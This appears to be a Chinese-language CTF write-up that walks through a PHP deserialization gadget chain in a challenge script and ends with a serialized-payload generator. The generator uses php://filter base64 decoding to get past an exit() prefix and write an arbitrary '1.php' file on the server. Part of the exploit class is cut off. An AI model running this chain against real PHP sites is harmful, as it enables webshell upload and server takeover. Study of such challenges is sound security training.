- error_reporting(0);
-
- class A {
-
- protected $store;
-
- protected $key;
-
- protected $expire;
-
- public function __construct($store, $key = 'flysystem', $expire = null) {
- $this->key = $key;
- $this->store = $store;
- $this->expire = $expire;
- }
-
- public function cleanContents(array $contents) {
- $cachedProperties = array_flip([
- 'path', 'dirname', 'basename', 'extension', 'filename',
- 'size', 'mimetype', 'visibility', 'timestamp', 'type',
- ]);
-
- foreach ($contents as $path => $object) {
- if (is_array($object)) {
- $contents[$path] = array_intersect_key($object, $cachedProperties);
- }
- }
-
- return $contents;
- }
-
- public function getForStorage() {
- $cleaned = $this->cleanContents($this->cache);
-
- return json_encode([$cleaned, $this->complete]);
- }
-
- public function save() {
- $contents = $this->getForStorage();
-
- $this->store->set($this->key, $contents, $this->expire);
- }
-
- public function __destruct() {
- if (!$this->autosave) {
- $this->save();
- }
- }
- }
-
- class B {
-
- protected function getExpireTime($expire): int {
- return (int) $expire;
- }
-
- public function getCacheKey(string $name): string {
- return $this->options['prefix'] . $name;
- }
-
- protected function serialize($data): string {
- if (is_numeric($data)) {
- return (string) $data;
- }
-
- $serialize = $this->options['serialize'];
-
- return $serialize($data);
- }
-
- public function set($name, $value, $expire = null): bool{
- $this->writeTimes++;
-
- if (is_null($expire)) {
- $expire = $this->options['expire'];
- }
-
- $expire = $this->getExpireTime($expire);
- $filename = $this->getCacheKey($name);
-
- $dir = dirname($filename);
-
- if (!is_dir($dir)) {
- try {
- mkdir($dir, 0755, true);
- } catch (\Exception $e) {
- // 创建失败
- }
- }
-
- $data = $this->serialize($value);
-
- if ($this->options['data_compress'] && function_exists('gzcompress')) {
- //数据压缩
- $data = gzcompress($data, 3);
- }
-
- $data = " . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
- $result = file_put_contents($filename, $data);
-
- if ($result) {
- return true;
- }
-
- return false;
- }
-
- }
-
- if (isset($_GET['src']))
- {
- highlight_file(__FILE__);
- }
-
- $dir = "uploads/";
-
- if (!is_dir($dir))
- {
- mkdir($dir);
- }
- unserialize($_GET["data"]);
这种长的,感觉从功能入手比较好搞
file_put_contents($filename, $data);
写入文件名和数据
$data = " . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
由一个php语句,还有一个exit,要绕过它谈一谈php://filter的妙用 | 离别歌
- if ($this->options['data_compress'] && function_exists('gzcompress')) {
- //数据压缩
- $data = gzcompress($data, 3);
- }
这里进去if的化data会被压缩,所以不能进去,那就要options['data_compress']为空才行
- protected function serialize($data): string {
- if (is_numeric($data)) {
- return (string) $data;
- }
-
- $serialize = $this->options['serialize'];
-
- return $serialize($data);
- }
- $data = $this->serialize($value);
这里相当于先判断data是不是数字,然后返回由options['serialize']所代表的函数之类的处理过后的data,options['serialize']的值需要是一个不影响data的函数。
之后是filename
$dir = dirname($filename);
dirname() 函数返回路径中的目录名称部分。
- $filename = $this->getCacheKey($name);
-
-
- public function getCacheKey(string $name): string {
- return $this->options['prefix'] . $name;
- }
把options['prefix']拼在name的前面
然后这些都是在自定义的set函数下进行的
public function set($name, $value, $expire = null)
而进入set需要先进入save,又会触发getForStorage函数
- public function save() {
- $contents = $this->getForStorage();
-
- $this->store->set($this->key, $contents, $this->expire);
- }
-
- public function __destruct() {
- if (!$this->autosave) { //需要autosave不存在才可以进入save
- $this->save();
- }
- }
- public function cleanContents(array $contents) {
- $cachedProperties = array_flip([ //array_flip() 函数用于反转/交换数组中的键名和对应关联的键值。
- 'path', 'dirname', 'basename', 'extension', 'filename',
- 'size', 'mimetype', 'visibility', 'timestamp', 'type',
- ]);
-
- foreach ($contents as $path => $object) {
- if (is_array($object)) {
- $contents[$path] = array_intersect_key($object, $cachedProperties);
- } //array_intersect_key() 函数用于比较两个(或更多个)数组的键名 ,并返回交集。
- }
-
- return $contents; //这个函数我们输入的键名要是$cachedProperties里面的一个,而值则是我们的语句
- }
-
- public function getForStorage() {
- $cleaned = $this->cleanContents($this->cache);
-
- return json_encode([$cleaned, $this->complete]);
- }
- if (is_null($expire)) {
- $expire = $this->options['expire'];
- }
- $data = " . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
- public function set($name, $value, $expire = null)
这里expire默认null,然后进入if,expire的值变为options['expire']的值,而data里面需要expire为十进制数,所以要把options['expire']的值改为十进制数
- ');
- $this->key = "1.php";
- $this->store = new B();
- $this->autosave = false;
- $this->expire = 0;
- }
-
-
- }
- class B{
- public $options = array();
- function __construct()
- {
- $this->options['serialize'] = 'trim';
- $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
- $this->options['data_compress'] = false;
- }
- }
- echo urlencode(serialize(new A()));
之后?data=payload就可以生成1.php